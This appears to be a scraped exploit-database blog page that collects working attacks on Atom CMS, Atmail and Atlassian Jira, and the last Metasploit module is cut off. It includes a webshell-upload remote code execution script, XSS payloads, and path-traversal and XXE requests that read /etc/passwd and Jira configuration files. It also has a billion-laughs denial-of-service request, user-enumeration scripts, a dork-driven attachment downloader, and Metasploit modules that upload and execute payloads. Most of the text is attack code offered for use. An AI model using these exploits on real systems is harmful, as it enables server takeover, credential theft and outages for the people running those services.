# Exploit Title: Atom CMS 2.0 - Remote Code Execution (RCE)
# Date: 22.03.2022
# Exploit Author: Ashish Koli (Shikari)
# Vendor Homepage: https://thedigitalcraft.com/
# Software Link: https://github.com/thedigicraft/Atom.CMS
# Version: 2.0
# Tested on: Ubuntu 20.04.3 LTS
# CVE: CVE-2022-25487
# Description
This script uploads webshell.php to the Atom CMS. An application will store that file in the uploads directory with a unique number which allows us to access Webshell.
# Usage : python3 exploit.py <IP> <Port> <atomcmspath>
# Example: python3 exploit.py 127.0.0.1 80 /atom
# POC Exploit: https://youtu.be/qQrq-eEpswc
# Note: Crafted "Shell.txt" file is required for exploitation which is available on the below link:
# https://github.com/shikari00007/Atom-CMS-2.0---File-Upload-Remote-Code-Execution-Un-Authenticated-POC
'''
Description:
A file upload functionality in Atom CMS 2.0 allows any
non-privileged user to gain access to the host through the uploaded files,
which may result in remote code execution.
'''
#!/usr/bin/python3
'''
Import required modules:
'''
import sys
import requests
import json
import time
import urllib.parse
import struct
import re
import string
import linecache
proxies = {
'http': 'http://localhost:8080',
'https': 'https://localhost:8080',
}
'''
User Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
atomcmspath = sys.argv[3]
'''
Get cookie
'''
session = requests.Session()
link = 'http://' + target_ip + ':' + target_port + atomcmspath + '/admin'
response = session.get(link)
cookies_session = session.cookies.get_dict()
cookie = json.dumps(cookies_session)
cookie = cookie.replace('"}','')
cookie = cookie.replace('{"', '')
cookie = cookie.replace('"', '')
cookie = cookie.replace(" ", '')
cookie = cookie.replace(":", '=')
'''
Upload Webshell:
'''
# Construct Header:
header1 = {
'Host': target_ip,
'Accept': 'application/json',
'Cache-Control': 'no-cache',
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36',
'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryH7Ak5WhirAIQ8o1L',
'Origin': 'http://' + target_ip,
'Referer': 'http://' + target_ip + ':' + target_port + atomcmspath + '/admin/index.php?page=users&id=1',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-US,en;q=0.9',
'Cookie': cookie,
'Connection': 'close',
}
# loading Webshell payload:
path = 'shell.txt'
fp = open(path,'rb')
data= fp.read()
# Uploading Webshell:
link_upload = 'http://' + target_ip + ':' + target_port + atomcmspath + '/admin/uploads.php?id=1'
upload = requests.post(link_upload, headers=header1, data=data)
p=upload.text
x = re.sub("\s", "\n", p)
y = x.replace("1<br>Unknown", "null")
z = re.sub('[^0-9]', '', y)
'''
Finish:
'''
print('Uploaded Webshell to: http://' + target_ip + ':' + target_port + atomcmspath + '/uploads/' + z + '.php')
print('')
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863115589
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
source: https://www.securityfocus.com/bid/64779/info
Atmail Webmail Server is prone to an HTML-injection vulnerability.
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.
Atmail 7.1.3 is vulnerable; others versions may also be affected.
<iframe width=0 height=0 src="javascript:alert('xss in main body')">
source: https://www.securityfocus.com/bid/65408/info
Atmail is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Atmail 7.0.2 is vulnerable; other versions may also be affected.
http://www.example.com/index.php/mail/viewmessage/getattachment/folder/INBOX/uniqueId/<ID>/filenameOriginal/[XSS]
source: https://www.securityfocus.com/bid/65408/info
Atmail is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Atmail 7.0.2 is vulnerable; other versions may also be affected.
http://www.example.com/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX/resultContext/searchResultsTab5?searchQuery=&goBack=6&from=&to=&subject=&body=&filter=[XSS]
source: https://www.securityfocus.com/bid/65408/info
Atmail is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Atmail 7.0.2 is vulnerable; other versions may also be affected.
http://www.example.com/index.php/mail/mail/movetofolder/fromFolder/INBOX/toFolder/INBOX.Trash?resultContext=messageList&listFolder=INBOX&pageNumber=1&unseen%5B21%5D=0&mailId%5B%5D=[XSS]
source: https://www.securityfocus.com/bid/52684/info
AtMail is prone to multiple directory-traversal vulnerabilities, an arbitrary-file-upload vulnerability, and an information-disclosure vulnerability because the application fails to sanitize user-supplied input.
An attacker can exploit these issues to obtain sensitive information, upload arbitrary code, and run it in the context of the webserver process.
Atmail 1.04 is vulnerable; other versions may also be affected.
https://www.example.com/compose.php?func=renameattach&unique=/..././..././..././..././..././..././..././..././..././..././..././..././tmp/positive.test%00&Attachment[]=/../../../../../../../../../etc/passwd
https://www.example.com/compose.php?func=renameattach&unique=1.txt%00&Attachment[]=/../../../../../../../../../etc/passwd
https://www.example.com/mime.php?file=%0A/../../../../../../../../../etc/passwd&name=positive.html
source: https://www.securityfocus.com/bid/50877/info
AtMail is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
AtMail 1.0.4 is vulnerable; other versions may also be affected.
GET: http://www.example.com/search.php?func=<script>alert('XSS');</script>
GET: http://www.example.com/search.php?func=<script>alert('XSS');</script>
source: https://www.securityfocus.com/bid/53595/info
JIRA, and the Gliffy and Tempo plugins for JIRA are prone to a denial-of-service vulnerability because they fail to properly handle crafted XML data.
Exploiting this issue allows remote attackers to cause denial-of-service conditions in the context of an affected application.
The following versions are affected:
Versions prior to JIRA 5.0.1 are vulnerable.
Versions prior to Gliffy 3.7.1 are vulnerable.
Versions prior to Tempo versions 6.4.3.1, 6.5.1, and 7.0.3 are vulnerable.
POST somehost.com HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
User-Agent: Jakarta Commons-HttpClient/3.1
Host: somehost.com
Content-Length: 1577
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:SecurityServer" xmlns:aut="http://authentication.integration.crowd.atlassian.com">
<soapenv:Header/>
<soapenv:Body>
<urn:authenticateApplication>
<urn:in0>
<aut:credential>
<aut:credential>stuff1</aut:credential>
<aut:encryptedCredential>?&lol9;</aut:encryptedCredential>
</aut:credential>
<aut:name>stuff3</aut:name>
<aut:validationFactors>
<aut:ValidationFactor>
<aut:name>stuff4</aut:name>
<aut:value>stuff5</aut:value>
</aut:ValidationFactor>
</aut:validationFactors>
</urn:in0>
</urn:authenticateApplication>
</soapenv:Body>
</soapenv:Envelope>
# Exploit Title: Atlassian Jira Service Desk 4.9.1 - Unrestricted File Upload to XSS
# Date: 07 Mar 2020
# Exploit Author: Captain_hook
# Vendor Homepage: https://www.atlassian.com/
# Version: < 4.10.0
# Tested on: All OS
# CVE: CVE-2020-14166
Summary:
The /servicedesk/customer/portals resource in Jira Service Desk Server and Data Center before version 4.10.0 allows remote attackers with project administrator privileges to inject arbitrary HTML or JavaScript names via an Cross Site Scripting (XSS) vulnerability by uploading a html file.
Steps to reproduce:
1- reach to this directory http://localhost:port/servicedesk/customer/portals?customize=true
2- There's a place where the banner can be uploaded when upload wizard popup you can see that the banner image restricted to image format, you can change that type easily
3- then you can upload HTML and javascript files and hijacking cookies or XSRF tokens.
Original report in bugcrowd:
https://bugcrowd.com/disclosures/61a50171-aa55-4126-b9f4-4e82b4b8c301/unrestricted-file-upload-stored-xss-for-token-hijacking
Original ticket in atlassian:
https://jira.atlassian.com/browse/JSDSERVER-6895?error=login_required&error_description=Login+required&state=28f8e754-fb05-4f5e-adda-79e252fe2c30
# Exploit Title: Atlassian Jira Server/Data Center 8.16.0 - Reflected Cross-Site Scripting (XSS)
# Date: 06/05/2021
# Exploit Author: CAPTAIN_HOOK
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/jira/download/data-center
# Version: versions < 8.5.14, 8.6.0 ≤ version < 8.13.6, 8.14.0 ≤ version < 8.16.1
# Tested on: ANY
# CVE : CVE-2021-26078
Description:
The number range searcher component in Jira Server and Jira Data Center before version 8.5.14, from version 8.6.0 before version 8.13.6, and from version 8.14.0 before version 8.16.1 allows remote attackers inject arbitrary HTML or JavaScript via across site scripting (XSS) vulnerability
*Fixed versions:*
- 8.5.14
- 8.13.6
- 8.16.1
- 8.17.0
POC:
- *Story points* custom field that exists by default in all JIRA Server has 3 types of Search template ( None , number range searcher, number searcher) By default the value of Search template is number range searcher OR number searcher. if the value of Search template was set on number range searcher the JIRA server is vulnerable to XSS attack by lowest privilege . For Testing Check the Story points custom field and it's details ( for verifying that the Search template sets on number range searcher) with your ADMIN account ( just like the images) and in the other window Type this With your least privilege
user : jql=issuetype%20%3D%20Epic%20AND%20%22Story%20Points%22%20%3C%3D%20%22%5C%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E%22%20AND%20%22Story%20Points%22%20%3E%3D%20%221%22
Your XSS Will be triggered immediately.
Reference:
https://jira.atlassian.com/browse/JRASERVER-72392?error=login_required&error_description=Login+required&state=9b05ec1f-587c-4014-9053-b6fdbb1efa21
# Exploit Title: Atlassian Jira Server Data Center 8.16.0 - Arbitrary File Read
# Date: 2021-10-05
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/jira/download/data-center
# Version: versions < 8.5.14, 8.6.0 ≤ version < 8.13.6, 8.14.0 ≤ version < 8.16.1
# Tested on: Kali Linux & Windows 10
# CVE : CVE-2021-26086
POC File #1 - web.xml
GET /s/cfx/_/;/WEB-INF/web.xml HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
POC File #2 - seraph-config.xml
GET /s/cfx/_/;/WEB-INF/classes/seraph-config.xml HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
POC File #3 - decorators.xml
GET /s/cfx/_/;/WEB-INF/decorators.xml HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
POC File #4 - /jira-webapp-dist/pom.properties
GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
POC File #5 - /jira-webapp-dist/pom.xml
GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
POC File #6 - /atlassian-jira-webapp/pom.xml
GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
POC File #7 - /atlassian-jira-webapp/pom.properties
GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
source: https://www.securityfocus.com/bid/53603/info
The FishEye and Crucible plugins for JIRA are prone to an unspecified security vulnerability because they fail to properly handle crafted XML data.
Exploiting this issue allows remote attackers to cause denial-of-service conditions or to disclose local sensitive files in the context of an affected application.
FishEye and Crucible versions up to and including 2.7.11 are vulnerable.
Burp Repeater
Host: somehost.com
Port 443
POST /crowd/services/test HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
User-Agent: Jakarta Commons-HttpClient/3.1
Host: somehost.com
Content-Length: 2420
<!DOCTYPE foo [<!ENTITY xxec6079 SYSTEM "file:///etc/passwd"> ]><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:SecurityServer" xmlns:aut="http://authentication.integration.crowd.atlassian.com" xmlns:soap="http://soap.integration.crowd.atlassian.com">
<soapenv:Header/>
<soapenv:Body>
<urn:addAllPrincipals>
<urn:in0>
<!--Optional:-->
<aut:name>?</aut:name>
<!--Optional:-->
<aut:token>?</aut:token>
</urn:in0>
<urn:in1>
<!--Zero or more repetitions:-->
<soap:
SOAPPrincipalWithCredential>
<!--Optional:-->
<soap:passwordCredential>
<!--Optional:-->
<aut:credential>?</aut:credential>
<!--Optional:-->
<aut:encryptedCredential>?&xxec6079;</aut:encryptedCredential>
</soap:passwordCredential>
<!--Optional:-->
<soap:principal>
<!--Optional:-->
<soap:ID>?</soap:ID>
<!--Optional:-->
<soap:active>?</soap:active>
<!--Optional:-->
<soap:attributes>
<!--Zero or more repetitions:-->
<soap:SOAPAttribute>
<!--Optional:-->
<soap:name>?</soap:name>
<!--Optional:-->
<soap:values>
<!--Zero or more repetitions:-->
<urn:string>?</urn:string>
</soap:values>
</soap:SOAPAttribute>
</soap:attributes>
<!--Optional:-->
<soap:conception>?</soap:conception>
<!--Optional:-->
<soap:description>?</soap:description>
<!--Optional:-->
<soap:directoryId>?</soap:directoryId>
<!--Optional:-->
<soap:lastModified>?</soap:lastModified>
<!--Optional:-->
<soap:name>?</soap:name>
</soap:principal>
</soap:SOAPPrincipalWithCredential>
</urn:in1>
</urn:addAllPrincipals>
</soapenv:Body>
</soapenv:Envelope>
# Exploit Title: Atlassian Jira 8.15.0 - Information Disclosure (Username Enumeration)
# Date: 31/05/2021
# Exploit Author: Mohammed Aloraimi
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/jira
# Vulnerable versions: version 8.11.x to 8.15.0
# Tested on: Kali Linux
# Proof Of Concept:
'''
A username information disclosure vulnerability exists in Atlassian JIRA from versions 8.11.x to 8.15.x. Unauthenticated users can ENUMRATE valid users via /secure/QueryComponent!Jql.jspa endpoint.
Tested versions:
Atlassian JIRA 8.11.1
Atlassian JIRA 8.13
Atlassian JIRA 8.15
'''
#!/usr/bin/env python
__author__ = "Mohammed Aloraimi (@ixSly)"
import requests
import sys
import re
import urllib3
urllib3.disable_warnings()
def help():
print('python script.py <target> <username>')
print('e.g. python script.py https://jiratarget.com admin')
sys.exit()
if len(sys.argv) < 3:
help()
def pwn(url,username):
try:
headers = {"content-type": "application/x-www-form-urlencoded; charset=UTF-8"}
data="jql=creator+in+({})&decorator=none".format(username)
req = requests.post(url+"/secure/QueryComponent!Jql.jspa",headers=headers,verify=False,data=data)
if "issue.field.project" in req.text and req.status_code == 200:
print("[+] {} is a Valid User".format(username))
userFullName=re.search('value=\"user:{}\" title=\"(.+?)\"'.format(username),str(req.json()["values"]["creator"]).strip())
if userFullName:
print("[+] User FullName: " + userFullName.group(1))
elif '["jqlTooComplex"]' in req.text and req.status_code == 401:
print("[-] {} is not a Valid User".format(username))
else:
print("[-] Error..")
except Exception as e:
print(str(e))
pass
server = sys.argv[1]
username = sys.argv[2]
pwn(server,username)
# Title: Atlassian JIRA 8.11.1 - User Enumeration
# Author: Dolev Farhi
# Vulnerable versions: version < 7.13.16, 8.0.0 ≤ version < 8.5.7, 8.6.0 ≤ version < 8.12.0
# CVE: CVE-2020-14181
# Credit to original CVE author: Mikhail Klyuchnikov of Positive Technologies.
import sys
import os
import requests
def help():
print('python3 script.py <target> <usernames_file>')
print('e.g. python3 script.py https://jiratarget.com usernames.txt')
sys.exit()
if len(sys.argv) < 3:
help()
server = sys.argv[1]
usernames = sys.argv[2]
random_user = '0x00001'
try:
os.path.exists(usernames)
except:
print(usernames, 'file does not exist.')
sys.exit(1)
def test_vulnerable():
resp = requests.get('{}/secure/ViewUserHover.jspa?username={}'.format(server, username))
if 'User does not exist: {}'.format(random_user) in resp.text:
return True
return False
if test_vulnerable is False:
print('server is not vulnerable.')
sys.exit(1)
f = open(usernames, 'r').read()
for username in f.splitlines():
resp = requests.get('{}/secure/ViewUserHover.jspa?username={}'.format(server, username))
if 'User does not exist' not in resp.text:
print('EXISTS', username)
source: https://www.securityfocus.com/bid/48484/info
Atlassian JIRA is prone to a security bypass vulnerability.
An attacker can exploit this issue to download arbitrary attachment files within the context of the affected application.
<?php
/*If it's a https, you MUST especify it on the URL or it won't work.
Try using numbers that you get from your results in google otherwise
you will get a lot of 404*/
echo "\n#########################################################
###################
# \n#Attachment downloader by Ignacio Garrido\n#";
if ($argc != 4){echo "
#Usage: php Scuarji.php vulnsite FROM(NUMBER) TO(NUMBER)\n#
#Dork: inurl:/jira/secure/attachment/\n#
#Example: php Scuarji.php http://www.vulnsite/jira/secure/attachment/
1 12310371#
############################################################################\n";die;}
else{
echo "\n#Let's start!\n";
echo "#\n#Ign.sec@Gmail.com\n";
#\n############################################################################\n";}
$url2 = $argv[1];
if (substr($url2,0,7) != "http://" && substr($url2,0,8) != "https://")
{
$url = ("http://".$url2);
}
else
{
$url = $argv[1];
}
if ($argv[2] >= $argv[3])
{
echo "\n\n#The second number must be bigger than the first one\n";
die;
}
$numero = $argv[2];
for ($numero;$numero <= $argv[3];$numero++)
{
$head = get_headers("$url$numero/");
if (substr ($head[0],9,3) == "404")
{
echo "\n#File number $numero not found! (404)\n";
}
else{
$explodeo = explode("filename*=",$head[2]);
$explodeo2 = explode(";",$explodeo[1]);
$archivo = substr($explodeo2[0],7);
echo "\n#Downloading file: $archivo\n";
$file=file_get_contents("$url$numero/$archivo");
file_put_contents($archivo,$file);
}
}
echo "\n#All attachment downloaded correctly!\n";
die;
?>
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Atlassian Jira Authenticated Upload Code Execution',
'Description' => %q{
This module can be used to execute a payload on Atlassian Jira via
the Universal Plugin Manager(UPM). The module requires valid login
credentials to an account that has access to the plugin manager.
The payload is uploaded as a JAR archive containing a servlet using
a POST request against the UPM component. The check command will
test the validity of user supplied credentials and test for access
to the plugin manager.
},
'Author' => 'Alexander Gonzalez(dubfr33)',
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/'],
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/'],
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/']
],
'Platform' => %w[java],
'Targets' =>
[
['Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
]
],
'DisclosureDate' => 'Feb 22 2018'))
register_options(
[
Opt::RPORT(2990),
OptString.new('HttpUsername', [true, 'The username to authenticate as', 'admin']),
OptString.new('HttpPassword', [true, 'The password for the specified username', 'admin']),
OptString.new('TARGETURI', [true, 'The base URI to Jira', '/jira/'])
])
end
def check
login_res = query_login
if login_res.nil?
vprint_error('Unable to access the web application!')
return CheckCode::Unknown
end
return CheckCode::Unknown unless login_res.code == 200
@session_id = get_sid(login_res)
@xsrf_token = login_res.get_html_document.at('meta[@id="atlassian-token"]')['content']
auth_res = do_auth
good_sid = get_sid(auth_res)
good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
res = query_upm(good_cookie)
if res.nil?
vprint_error('Unable to access the web application!')
return CheckCode::Unknown
elsif res.code == 200
return Exploit::CheckCode::Appears
else
vprint_status('Something went wrong, make sure host is up and options are correct!')
vprint_status("HTTP Response Code: #{res.code}")
return Exploit::CheckCode::Unknown
end
end
def exploit
unless access_login?
fail_with(Failure::Unknown, 'Unable to access the web application!')
end
print_status('Retrieving Session ID and XSRF token...')
auth_res = do_auth
good_sid = get_sid(auth_res)
good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
res = query_for_upm_token(good_cookie)
if res.nil?
fail_with(Failure::Unknown, 'Unable to retrieve UPM token!')
end
upm_token = res.headers['upm-token']
upload_exec(upm_token, good_cookie)
end
# Upload, execute, and remove servlet
def upload_exec(upm_token, good_cookie)
contents = ''
name = Rex::Text.rand_text_alpha(8..12)
atlassian_plugin_xml = %Q{
<atlassian-plugin name="#{name}" key="#{name}" plugins-version="2">
<plugin-info>
<description></description>
<version>1.0</version>
<vendor name="" url="" />
<param name="post.install.url">/plugins/servlet/metasploit/PayloadServlet</param>
<param name="post.upgrade.url">/plugins/servlet/metasploit/PayloadServlet</param>
</plugin-info>
<servlet name="#{name}" key="metasploit.PayloadServlet" class="metasploit.PayloadServlet">
<description>"#{name}"</description>
<url-pattern>/metasploit/PayloadServlet</url-pattern>
</servlet>
</atlassian-plugin>
}
# Generates .jar file for upload
zip = payload.encoded_jar
zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)
servlet = MetasploitPayloads.read('java', '/metasploit', 'PayloadServlet.class')
zip.add_file('/metasploit/PayloadServlet.class', servlet)
contents = zip.pack
boundary = rand_text_numeric(27)
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"plugin\"; "
data << "filename=\"#{name}.jar\"\r\nContent-Type: application/x-java-archive\r\n\r\n"
data << contents
data << "\r\n--#{boundary}--"
print_status("Attempting to upload #{name}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rest/plugins/1.0/'),
'vars_get' =>
{
'token' => "#{upm_token}"
},
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
'Cookie' => good_cookie.to_s
}
}, 25)
unless res && res.code == 202
print_status("Error uploading #{name}")
print_status("HTTP Response Code: #{res.code}")
print_status("Server Response: #{res.body}")
return
end
print_status("Successfully uploaded #{name}")
print_status("Executing #{name}")
Rex::ThreadSafe.sleep(3)
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'plugins/servlet/metasploit/PayloadServlet'),
'method' => 'GET',
'cookie' => good_cookie.to_s
})
print_status("Deleting #{name}")
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, "rest/plugins/1.0/#{name}-key"),
'method' => 'DELETE',
'cookie' => good_cookie.to_s
})
end
def access_login?
res = query_login
if res.nil?
fail_with(Failure::Unknown, 'Unable to access the web application!')
end
return false unless res && res.code == 200
@session_id = get_sid(res)
@xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')['content']
return true
end
# Sends GET request to login page so the HTTP response can be used
def query_login
send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'))
end
# Queries plugin manager to verify access
def query_upm(good_cookie)
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'plugins/servlet/upm'),
'method' => 'GET',
'cookie' => good_cookie.to_s
})
end
# Queries API for response containing upm_token
def query_for_upm_token(good_cookie)
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'rest/plugins/1.0/'),
'method' => 'GET',
'cookie' => good_cookie.to_s
})
end
# Authenticates to webapp with user supplied credentials
def do_auth
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'),
'method' => 'POST',
'cookie' => "atlassian.xsrf.token=#{@xsrf_token}; #{@session_id}",
'vars_post' => {
'os_username' => datastore['HttpUsername'],
'os_password' => datastore['HttpPassword'],
'os_destination' => '',
'user_role' => '',
'atl_token' => '',
'login' => 'Log+In'
}
})
end
# Finds SID from HTTP response headers
def get_sid(res)
if res.nil?
return '' if res.blank?
end
res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'json'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Atlassian HipChat for Jira Plugin Velocity Template Injection",
'Description' => %q{
Atlassian Hipchat is a web service for internal instant messaging. A plugin is available
for Jira that allows team collibration at real time. A message can be used to inject Java
code into a Velocity template, and gain code exeuction as Jira. Authentication is required
to exploit this vulnerability, and you must make sure the account you're using isn't
protected by captcha. By default, Java payload will be used because it is cross-platform,
but you can also specify which native payload you want (Linux or Windows).
HipChat for Jira plugin versions between 1.3.2 and 6.30.0 are affected. Jira versions
between 6.3.5 and 6.4.10 are also affected by default, because they were bundled with
a vulnerable copy of HipChat.
When using the check command, if you supply a valid username and password, the module
will be able to trigger the bug and check more accurately. If not, it falls back to
passive, which can only tell if the target is running on a Jira version that is bundled
with a vulnerable copy of Hipchat by default, which is less reliable.
This vulnerability was originally discovered internally by Atlassian.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris Wood', # PoC
'sinn3r' # Metasploit
],
'References' =>
[
[ 'CVE', '2015-5603' ],
[ 'EDB', '38551' ],
[ 'BID', '76698' ],
[ 'URL', 'https://confluence.atlassian.com/jira/jira-and-hipchat-for-jira-plugin-security-advisory-2015-08-26-776650785.html' ]
],
'Targets' =>
[
[ 'HipChat for Jira plugin on Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }],
[ 'HipChat for Jira plugin on Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }],
